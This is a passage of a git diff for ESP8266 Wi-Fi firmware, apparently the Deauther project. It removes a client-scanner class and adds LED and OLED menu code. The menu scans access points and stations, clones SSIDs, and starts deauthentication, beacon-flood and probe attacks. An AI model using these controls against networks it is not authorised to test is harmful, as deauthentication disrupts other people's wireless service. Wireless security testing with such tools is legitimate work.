if (debug) {
Serial.print("found: ");
from._print();
Serial.print(" => ");
to._print();
Serial.println("");
}
}
}
}
}
}
}
String ClientScan::getClientName(int num) {
return nameList.getByMac(getClientMac(num));
}
int ClientScan::getClientPackets(int num) {
return packets[clients.getNum(clients._get(num))];
}
String ClientScan::getClientVendor(int num) {
return vendors[num];
}
Mac ClientScan::getClientMac(int num) {
return clients._get(num);
}
int ClientScan::getClientConnectedAp(int num) {
return connectedToAp[num];
}
bool ClientScan::getClientSelected(int num) {
return selected[num];
}
int ClientScan::getFirstClient() {
for (int i = 0; i < maxClientScanResults; i++) {
if (getClientSelected(i)) return i;
}
return -1;
}
void ClientScan::select(int num) {
if(num < 0){
if(num == -1){
for(int i=0; i<results; i++){selected[i] = true;}
selectedResults = results;
} else {
for(int i=0; i<results; i++){selected[i] = false;}
selectedResults = 0;
}
} else {
selected[num] = !selected[num];
if (selected[num]) selectedResults++;
else selectedResults--;
}
}
size_t ClientScan::getSize(){
size_t jsonSize = 0;
String json = "{\"clients\":[";
jsonSize += json.length();
for (int i = 0; i < results && i < maxClientScanResults; i++) {
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"p\":" + (String)getClientPackets(i) + ",";
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
json += "\"s\":" + (String)getClientSelected(i) + ",";
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
else json += "\"a\":\"?\"";
json += "}";
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
jsonSize += json.length();
}
json = "],\"nameList\":[";
jsonSize += json.length();
for (int i = 0; i < nameList.len; i++) {
json = "{";
json += "\"n\":\"" + nameList.get(i) + "\",";
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
json += "}";
if (i != nameList.len - 1) json += ",";
jsonSize += json.length();
}
jsonSize += 2;
return jsonSize;
}
void ClientScan::send() {
size_t _size = getSize();
sendHeader(200, "text/json", _size);
if (debug) Serial.println("getting settings json ("+(String)_size+")");
String json;
sendToBuffer("{\"clients\":[");
for (int i = 0; i < results && i < maxClientScanResults; i++) {
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"p\":" + (String)getClientPackets(i) + ",";
json += "\"m\":\"" + getClientMac(i).toString() + "\",";
json += "\"n\":\"" + (String)nameList.getByMac(getClientMac(i)) + "\",";
json += "\"l\":" + (String)nameList.getNumByMac(getClientMac(i)) + ",";
json += "\"v\":\"" + (String)getClientVendor(i) + "\",";
json += "\"s\":" + (String)getClientSelected(i) + ",";
if(getClientConnectedAp(i)>=0) json += "\"a\":\"" + (String)apScan.getAPName(getClientConnectedAp(i)) + "\"";
else json += "\"a\":\"?\"";
json += "}";
if ((i != results - 1) && (i != maxClientScanResults - 1)) json += ",";
sendToBuffer(json);
}
sendToBuffer("],\"nameList\":[");
for (int i = 0; i < nameList.len; i++) {
json = "{";
json += "\"n\":\"" + nameList.get(i) + "\",";
json += "\"m\":\"" + nameList.getMac(i).toString() + "\"";
//json += "\"v\":\"" + data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2)) + "\"";
json += "}";
if (i != nameList.len - 1) json += ",";
sendToBuffer(json);
}
sendToBuffer("]}");
sendBuffer();
if(debug) Serial.println("\ndone");
}

View File

@ -1,71 +0,0 @@
#ifndef ClientScan_h
#define ClientScan_h
#define maxClientScanResults 40
#include <ESP8266WiFi.h>
#include "Mac.h"
#include "MacList.h"
#include "APScan.h"
#include "NameList.h"
extern "C" {
#include "user_interface.h"
}
extern APScan apScan;
extern NameList nameList;
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern bool intInArray(int num, int _array[]);
extern void PrintHex8(uint8_t *data, uint8_t length);
extern const bool debug;
class ClientScan {
public:
ClientScan();
void start(int _time);
void clearList();
bool stop();
void packetSniffer(uint8_t *buf, uint16_t len);
int add(Mac adr);
void send();
void select(int num);
String getClientName(int num);
int getClientPackets(int num);
String getClientVendor(int num);
Mac getClientMac(int num);
bool getClientSelected(int num);
int getClientConnectedAp(int num);
int getFirstClient();
int results = 0;
int selectedResults = 0;
int timeout = 0;
bool sniffing = false;
private:
size_t getSize();
long startTime = 0;
Mac from;
Mac to;
Mac broadcast;
Mac zero;
MacList clients;
char vendors[maxClientScanResults][9];
int packets[maxClientScanResults];
bool selected[maxClientScanResults];
int connectedToAp[maxClientScanResults];
int channels[13];
int channelsNum = 0;
int curChannel = 0;
};
#endif

View File

@ -0,0 +1,111 @@
#include "DigitalLed.h"
DigitalLed::DigitalLed() {
}
// setup pins
void DigitalLed::setup(){
if(!settings.getLedEnabled()) return;
// ===== adjustable ===== //
if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT);
if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT);
if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT);
// ====================== //
setMode(LED_MODE_OFF, true);
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
prnt(String(s));
}
// ===== adjustable ===== //
if(LED_CATHODE){
r = r>0;
g = g>0;
b = b>0;
}else{
r = !(r>0);
g = !(g>0);
b = !(b>0);
}
if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r);
if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g);
if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b);
// ====================== //
// debug output
if (output){
char s[30];
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
prnt(String(s));
}
}
// customize color codes for different LED modes
void DigitalLed::setMode(uint8_t mode, bool force) {
// ===== adjustable ===== //
if (mode != DigitalLed::mode || force) {
DigitalLed::mode = mode;
switch (mode) {
case LED_MODE_OFF:
setColor(0, 0, 0, 100, false);
break;
case LED_MODE_SCAN:
setColor(0, 0, 255, 100, false);
break;
case LED_MODE_ATTACK:
setColor(255, 255, 0, 100, false);
break;
case LED_MODE_DEAUTH:
setColor(255, 0, 0, 100, false);
break;
case LED_MODE_IDLE:
setColor(0, 255, 0, 100, false);
break;
}
}
// ====================== //
}
void DigitalLed::tempEnable() {
tempEnabled = true;
prntln(L_ENABLED);
}
void DigitalLed::tempDisable() {
tempEnabled = false;
prntln(L_DISABLED);
}
bool DigitalLed::getTempEnabled() {
return tempEnabled;
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
setColor(r, g, b, 100, true);
}
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
setColor(r, g, b, brightness, true);
}
void DigitalLed::update() {
if (!tempEnabled) return;
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
else setMode(LED_MODE_IDLE, false);
}

View File

@ -0,0 +1,42 @@
#ifndef DigitalLed_h
#define DigitalLed_h
#include "Arduino.h"
#include "Settings.h"
#include "Attack.h"
#include "Scan.h"
#include "language.h"
#include "A_config.h"
#define LED_MODE_OFF 0
#define LED_MODE_SCAN 1
#define LED_MODE_ATTACK 2
#define LED_MODE_DEAUTH 3
#define LED_MODE_IDLE 4
extern Settings settings;
extern Attack attack;
extern Scan scan;
extern Stations stations;
class DigitalLed {
public:
DigitalLed();
void setup();
void setColor(uint8_t r, uint8_t g, uint8_t b);
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
void setMode(uint8_t mode, bool force);
void update();
void tempEnable();
void tempDisable();
bool getTempEnabled();
private:
uint8_t mode;
bool tempEnabled = true;
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
};
#endif

View File

@ -0,0 +1,841 @@
#include "DisplayUI.h"
DisplayUI::DisplayUI() {
}
void DisplayUI::setupDisplay() {
// ===== adjustable ===== //
// initialize display
display.init();
display.setFont(DejaVu_Sans_Mono_12);
display.setContrast(255);
display.flipScreenVertically();
display.clear();
display.display();
// ====================== //
}
void DisplayUI::on() {
// ===== adjustable ===== //
if (enabled) {
display.displayOn();
mode = SCREEN_MODE_MENU;
buttonUp.time = currentTime; // update a button time to keep display on
prntln(D_MSG_DISPLAY_ON);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
// ====================== //
}
void DisplayUI::off() {
// ===== adjustable ===== //
if (enabled) {
display.displayOff();
mode = SCREEN_MODE_OFF;
prntln(D_MSG_DISPLAY_OFF);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
// ====================== //
}
void DisplayUI::setupButtons() {
// ===== adjustable ===== //
#ifdef BUTTON_UP
buttonUp.enabled = true;
buttonUp.gpio = BUTTON_UP;
#endif
#ifdef BUTTON_DOWN
buttonDown.enabled = true;
buttonDown.gpio = BUTTON_DOWN;
#endif
#ifdef BUTTON_LEFT
buttonLeft.enabled = true;
buttonLeft.gpio = BUTTON_LEFT;
#endif
#ifdef BUTTON_RIGHT
buttonRight.enabled = true;
buttonRight.gpio = BUTTON_RIGHT;
#endif
#ifdef BUTTON_A
buttonA.enabled = true;
buttonA.gpio = BUTTON_A;
#endif
#ifdef BUTTON_B
buttonB.enabled = true;
buttonB.gpio = BUTTON_B;
#endif
// ====================== //
// setup and read functions
// ====================== //
buttonUp.setup = [this]() {
if (buttonUp.gpio != 2) pinMode(buttonUp.gpio, INPUT_PULLUP);
buttonUp.time = currentTime;
};
buttonUp.read = [this]() {
return !digitalRead(buttonUp.gpio);
};
buttonDown.setup = [this]() {
if (buttonDown.gpio != 2) pinMode(buttonDown.gpio, INPUT_PULLUP);
buttonDown.time = currentTime;
};
buttonDown.read = [this]() {
return !digitalRead(buttonDown.gpio);
};
buttonLeft.setup = [this]() {
if (buttonLeft.gpio != 2) pinMode(buttonLeft.gpio, INPUT_PULLUP);
buttonLeft.time = currentTime;
};
buttonLeft.read = [this]() {
return !digitalRead(buttonLeft.gpio);
};
buttonRight.setup = [this]() {
if (buttonRight.gpio != 2) pinMode(buttonRight.gpio, INPUT_PULLUP);
buttonRight.time = currentTime;
};
buttonRight.read = [this]() {
return !digitalRead(buttonRight.gpio);
};
buttonA.setup = [this]() {
if (buttonA.gpio != 2) pinMode(buttonA.gpio, INPUT_PULLUP);
buttonA.time = currentTime;
};
buttonA.read = [this]() {
return !digitalRead(buttonA.gpio);
};
buttonB.setup = [this]() {
if (buttonB.gpio != 2 ) pinMode(buttonB.gpio, INPUT_PULLUP);
buttonB.time = currentTime;
};
buttonB.read = [this]() {
return !digitalRead(buttonB.gpio);
};
// ====================== //
}
void DisplayUI::setup() {
setupDisplay();
setupButtons();
// ===== PUSH AND RELEASE FUNCTIONS ===== //
// === BUTTON UP === //
buttonUp.push = [this]() {
if(buttonUp.time > currentTime - BUTTON_DELAY) return;
buttonUp.pushed = true;
buttonUp.time = currentTime;
scrollCounter = 0;
if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected > 0) currentMenu->selected--;
else currentMenu->selected = currentMenu->list->size() - 1;
} else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel + 1);
}
};
buttonUp.release = [this]() {
if (!buttonUp.pushed) return;
buttonUp.pushed = false;
};
// === BUTTON DOWN === //
buttonDown.push = [this]() {
if(buttonDown.time > currentTime - BUTTON_DELAY) return;
buttonDown.pushed = true;
buttonDown.time = currentTime;
scrollCounter = 0;
if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
else currentMenu->selected = 0;
} else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel - 1);
}
};
buttonDown.release = [this]() {
if (!buttonDown.pushed) return;
buttonDown.pushed = false;
};
// === BUTTON LEFT === //
buttonLeft.push = [this]() {
if(buttonLeft.time > currentTime - BUTTON_DELAY) return;
buttonLeft.pushed = true;
buttonLeft.time = currentTime;
scrollCounter = 0;
};
buttonLeft.release = [this]() {
if (!buttonDown.pushed) return;
buttonDown.pushed = false;
};
// === BUTTON RIGHT === //
buttonRight.push = [this]() {
if(buttonRight.time > currentTime - BUTTON_DELAY) return;
buttonRight.pushed = true;
buttonRight.time = currentTime;
scrollCounter = 0;
};
buttonRight.release = [this]() {
if (!buttonDown.pushed) return;
buttonDown.pushed = false;
};
// === BUTTON A === //
buttonA.push = [this]() {
if(!buttonA.pushed){ // first push
buttonA.pushed = true;
buttonA.time = currentTime;
scrollCounter = 0;
}else{ // holding button
if(currentTime - buttonA.time > 800 && !buttonA.hold){
if(currentMenu->list->get(currentMenu->selected).hold) currentMenu->list->get(currentMenu->selected).hold();
buttonA.hold = true;
}
}
};
buttonA.release = [this]() {
if (!buttonA.pushed) return; // exit when button wasn't pushed before
if(!buttonA.hold && currentTime - buttonA.time > 80){
switch(mode){
case SCREEN_MODE_MENU:
if( currentMenu->list->get(currentMenu->selected).click){
currentMenu->list->get(currentMenu->selected).click();
}
break;
case SCREEN_MODE_PACKETMONITOR:
case SCREEN_MODE_LOADSCAN:
scan.stop();
mode = SCREEN_MODE_MENU;
break;
}
}
buttonA.pushed = false;
buttonA.hold = false;
};
// === BUTTON B === //
buttonB.push = [this]() {
if(buttonB.time > currentTime - BUTTON_DELAY) return;
buttonB.pushed = true;
buttonB.time = currentTime;
scrollCounter = 0;
switch(mode){
case SCREEN_MODE_MENU:
goBack();
break;
case SCREEN_MODE_PACKETMONITOR:
case SCREEN_MODE_LOADSCAN:
scan.stop();
mode = SCREEN_MODE_MENU;
break;
}
};
buttonB.release = [this]() {
if (!buttonB.pushed) return;
buttonB.pushed = false;
};
// === RUN SETUPS === //
// setting pin modes for buttons
if (buttonUp.enabled && buttonUp.setup) buttonUp.setup();
if (buttonDown.enabled && buttonDown.setup) buttonDown.setup();
if (buttonLeft.enabled && buttonLeft.setup) buttonLeft.setup();
if (buttonRight.enabled && buttonRight.setup) buttonRight.setup();
if (buttonA.enabled && buttonA.setup) buttonA.setup();
if (buttonB.enabled && buttonB.setup) buttonB.setup();
// ===== MENUS ===== //
// MAIN MENU
createMenu(&mainMenu, NULL, [this]() {
addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN
addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW
addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK
addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR
scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel);
mode = SCREEN_MODE_PACKETMONITOR;
});
});
// SCAN MENU
createMenu(&scanMenu, &mainMenu, [this]() {
addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST
scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = SCREEN_MODE_LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP
scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = SCREEN_MODE_LOADSCAN;
});
addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST
scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);
mode = SCREEN_MODE_LOADSCAN;
});
});
// SHOW MENU
createMenu(&showMenu, &mainMenu, [this]() {
addMenuNode(&showMenu, []() { // Accesspoints 0 [0]
return buildString(str(D_ACCESSPOINTS),(String)accesspoints.count(),CHARS_PER_LINE);
}, &apListMenu);
addMenuNode(&showMenu, []() { // Stations 0 [0]
return buildString(str(D_STATIONS),(String)stations.count(),CHARS_PER_LINE);
}, &stationListMenu);
addMenuNode(&showMenu, []() { // Names 0 [0]
return buildString(str(D_NAMES),(String)names.count(),CHARS_PER_LINE);
}, &nameListMenu);
addMenuNode(&showMenu, []() { // SSIDs 0
return buildString(str(D_SSIDS),(String)ssids.count(),CHARS_PER_LINE);
}, &ssidListMenu);
});
// AP LIST MENU
createMenu(&apListMenu, &showMenu, [this]() {
// add APs to list
int c = accesspoints.count();
for (int i = 0; i < c; i++) {
addMenuNode(&apListMenu, [i]() {
return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);
}, [this, i]() {
accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);
}, [this, i](){
selectedID = i;
changeMenu(&apMenu);
});
}
addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
accesspoints.selectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
accesspoints.deselectAll();
changeMenu(&apListMenu);
});
addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
accesspoints.removeAll();
goBack();
});
});
// STATION LIST MENU
createMenu(&stationListMenu, &showMenu, [this]() {
// add stations to list
int c = stations.count();
for (int i = 0; i < c; i++) {
addMenuNode(&stationListMenu, [i]() {
return b2a(stations.getSelected(i)) + (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));
}, [this, i]() {
stations.getSelected(i) ? stations.deselect(i) : stations.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&stationMenu);
});
}
addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
stations.selectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
stations.deselectAll();
changeMenu(&stationListMenu);
});
addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
stations.removeAll();
goBack();
});
});
// NAME LIST MENU
createMenu(&nameListMenu, &showMenu, [this]() {
// add device names to list
int c = names.count();
for (int i = 0; i < c; i++) {
addMenuNode(&nameListMenu, [i]() {
return names.getSelectedStr(i) + names.getName(i);
}, [this, i]() {
names.getSelected(i) ? names.deselect(i) : names.select(i);
}, [this, i]() {
selectedID = i;
changeMenu(&nameMenu);
});
}
addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL
names.selectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL
names.deselectAll();
changeMenu(&nameListMenu);
});
addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
names.removeAll();
goBack();
});
});
// SSID LIST MENU
createMenu(&ssidListMenu, &showMenu, [this]() {
addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs
ssids.cloneSelected(true);
changeMenu(&ssidListMenu);
ssids.save(false);
});
addMenuNode(&ssidListMenu, [this](){
return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE
}, [this]() {
if(ssids.getRandom()) ssids.disableRandom();
else ssids.enableRandom(10);
changeMenu(&ssidListMenu);
});
// add ssids to list
int c = ssids.count();
for (int i = 0; i < c; i++) {
addMenuNode(&ssidListMenu, [i]() {
return ssids.getName(i).substring(0, ssids.getLen(i));
}, [this, i]() {
selectedID = i;
changeMenu(&ssidMenu);
}, [this, i]() {
ssids.remove(i);
changeMenu(&ssidListMenu);
ssidListMenu.selected = i;
});
}
addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL
ssids.removeAll();
goBack();
});
});
// AP MENU
createMenu(&apMenu, &apListMenu, [this]() {
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelectedStr(selectedID) + accesspoints.getSSID(selectedID); // *<ssid>
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, [this]() {
return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);
}, NULL); // Encryption: -/WPA2
addMenuNode(&apMenu, [this]() {
return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);
}, NULL); // RSSI: -90
addMenuNode(&apMenu, [this]() {
return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&apMenu, [this]() {
return accesspoints.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&apMenu, [this]() {
return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&apMenu, [this]() {
return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);
});
addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE
ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);
changeMenu(&showMenu);
ssids.save(false);
});
addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE
accesspoints.remove(selectedID);
apListMenu.list->remove(apListMenu.selected);
goBack();
});
});
// STATION MENU
createMenu(&stationMenu, &stationListMenu, [this]() {
addMenuNode(&stationMenu, [this]() {
return stations.getSelectedStr(selectedID) + (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station name>
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, [this]() {
return stations.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&stationMenu, [this]() {
return str(D_VENDOR) + stations.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&stationMenu, [this]() {
return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP
}, [this]() {
selectedID = stations.getAP(selectedID);
changeMenu(&apMenu);
});
addMenuNode(&stationMenu, [this]() {
return str(D_PKTS) + String(*stations.getPkts(selectedID));
}, NULL); // Pkts: 12
addMenuNode(&stationMenu, [this]() {
return str(D_CHANNEL) + String(stations.getCh(selectedID));
}, NULL); // Channel: 11
addMenuNode(&stationMenu, [this]() {
return str(D_SEEN) + stations.getTimeStr(selectedID);
}, NULL); // Seen: <1min
addMenuNode(&stationMenu, [this]() {
return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);
});
addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE
stations.remove(selectedID);
stationListMenu.list->remove(stationListMenu.selected);
goBack();
});
});
// NAME MENU
createMenu(&nameMenu, &nameListMenu, [this]() {
addMenuNode(&nameMenu, [this]() {
return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>
}, [this]() {
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, [this]() {
return names.getMacStr(selectedID);
}, NULL); // 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_VENDOR) + names.getVendorStr(selectedID);
}, NULL); // Vendor: INTEL
addMenuNode(&nameMenu, [this]() {
return str(D_AP) + names.getBssidStr(selectedID);
}, NULL); // AP: 00:11:22:00:11:22
addMenuNode(&nameMenu, [this]() {
return str(D_CHANNEL) + (String)names.getCh(selectedID);
}, NULL); // Channel: 11
addMenuNode(&nameMenu, [this]() {
return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT
}, [this]() {
names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE
names.remove(selectedID);
nameListMenu.list->remove(nameListMenu.selected);
goBack();
});
});
// SSID MENU
createMenu(&ssidMenu, &ssidListMenu, [this]() {
addMenuNode(&ssidMenu, [this]() {
return ssids.getName(selectedID).substring(0,ssids.getLen(selectedID));
}, NULL); // SSID
addMenuNode(&ssidMenu, [this]() {
return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2
}, [this]() {
ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));
});
addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE
ssids.remove(selectedID);
ssidListMenu.list->remove(ssidListMenu.selected);
goBack();
});
});
// ATTACK MENU
createMenu(&attackMenu, &mainMenu, [this]() {
addMenuNode(&attackMenu, [this]() {
if(attack.isRunning()) return buildString(b2a(deauthSelected) + str(D_DEAUTH), (String)attack.getDeauthPkts() + SLASH + (String)attack.getDeauthMaxPkts(), CHARS_PER_LINE);
else return buildString(b2a(deauthSelected) + str(D_DEAUTH) , (String)scan.countSelected(), CHARS_PER_LINE);
}, [this]() { // deauth
deauthSelected = !deauthSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
}
});
addMenuNode(&attackMenu, [this]() {
if(attack.isRunning()) return buildString(b2a(beaconSelected) + str(D_BEACON), (String)attack.getBeaconPkts() + SLASH + (String)attack.getBeaconMaxPkts(), CHARS_PER_LINE);
else return buildString(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), CHARS_PER_LINE);
}, [this]() { // beacon
beaconSelected = !beaconSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
}
});
addMenuNode(&attackMenu, [this]() {
if(attack.isRunning()) return buildString(b2a(probeSelected) + str(D_PROBE), (String)attack.getProbePkts() + SLASH + (String)attack.getProbeMaxPkts(), CHARS_PER_LINE);
else return buildString(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), CHARS_PER_LINE);
}, [this]() { // probe
probeSelected = !probeSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
}
});
addMenuNode(&attackMenu, []() {
return str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK);
}, [this]() {
if (attack.isRunning()) attack.stop();
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true, settings.getAttackTimeout() * 1000);
});
});
// ===================== //
// set current menu to main menu
changeMenu(&mainMenu);
enabled = true;
startTime = currentTime;
}
void DisplayUI::update() {
if (!enabled) return;
if (mode == SCREEN_MODE_OFF) {
if (updateButton(&buttonA)){
on();
buttonA.hold = true;
}
} else {
// timeout to save display life
if (mode == SCREEN_MODE_MENU && settings.getDisplayTimeout() > 0 && currentTime > settings.getDisplayTimeout() * 1000) {
uint32_t buttonTimeout = currentTime - settings.getDisplayTimeout() * 1000;
if (buttonUp.time < buttonTimeout
&& buttonDown.time < buttonTimeout
&& buttonLeft.time < buttonTimeout
&& buttonRight.time < buttonTimeout
&& buttonA.time < buttonTimeout
&& buttonB.time < buttonTimeout) {
off();
}
}
// only one button can be pressed at a time
if (updateButton(&buttonUp)) draw();
else if (updateButton(&buttonDown)) draw();
else if (updateButton(&buttonLeft)) draw();
else if (updateButton(&buttonRight)) draw();
else if (updateButton(&buttonA)) draw();
else if (updateButton(&buttonB)) draw();
else draw();
}
}
void DisplayUI::draw() {
if (currentTime - drawTime > DRAW_INTERVAL && currentMenu) {
drawTime = currentTime;
// ===== adjustable ===== //
display.clear(); // clear display
display.setTextAlignment(TEXT_ALIGN_LEFT); // reset text alignment just in case ;)
// ====================== //
switch (mode) {
case SCREEN_MODE_BUTTON_TEST:
drawButtonTest();
break;
case SCREEN_MODE_MENU:
drawMenu();
break;
case SCREEN_MODE_LOADSCAN:
drawLoadingScan();
break;
case SCREEN_MODE_PACKETMONITOR:
drawPacketMonitor();
break;
case SCREEN_MODE_INTRO:
if(currentTime - startTime >= SCREEN_INTRO_TIME){
mode = SCREEN_MODE_MENU;
}
drawIntro();
break;
}
// ===== adjustable ===== //
display.display(); // draw changes
// ====================== //
}
}
void DisplayUI::drawString(int x, int y, String str) {
// ===== adjustable ===== //
display.drawString(x, y, replaceUtf8(str,String(QUESTIONMARK)));
// ====================== //
}
void DisplayUI::drawButtonTest() {
// ===== adjustable ===== //
if(buttonUp.enabled) display.drawString(0, 0, str(D_UP) + b2s(buttonUp.pushed));
if(buttonDown.enabled) display.drawString(0, 9, str(D_DOWN) + b2s(buttonDown.pushed));
if(buttonLeft.enabled) display.drawString(0, 18, str(D_LEFT) + b2s(buttonLeft.pushed));
if(buttonRight.enabled) display.drawString(0, 27, str(D_RIGHT) + b2s(buttonRight.pushed));
if(buttonA.enabled) display.drawString(0, 36, str(D_A) + b2s(buttonA.pushed));
if(buttonB.enabled) display.drawString(0, 45, str(D_B) + b2s(buttonB.pushed));
// ====================== //
}
void DisplayUI::drawMenu() {
String tmp;
int tmpLen;
int row = (currentMenu->selected / 5) * 5;
// correct selected if it's off
if (currentMenu->selected < 0) currentMenu->selected = 0;
else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;
// draw menu entries
for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {
tmp = currentMenu->list->get(i).getStr();
tmpLen = tmp.length();
// horizontal scrolling
if (currentMenu->selected == i && tmpLen > CHARS_PER_LINE) {
tmp = tmp.substring(scrollCounter / SCROLL_SPEED);
scrollCounter++;
if (scrollCounter / SCROLL_SPEED > tmpLen - CHARS_PER_LINE) scrollCounter = 0;
}
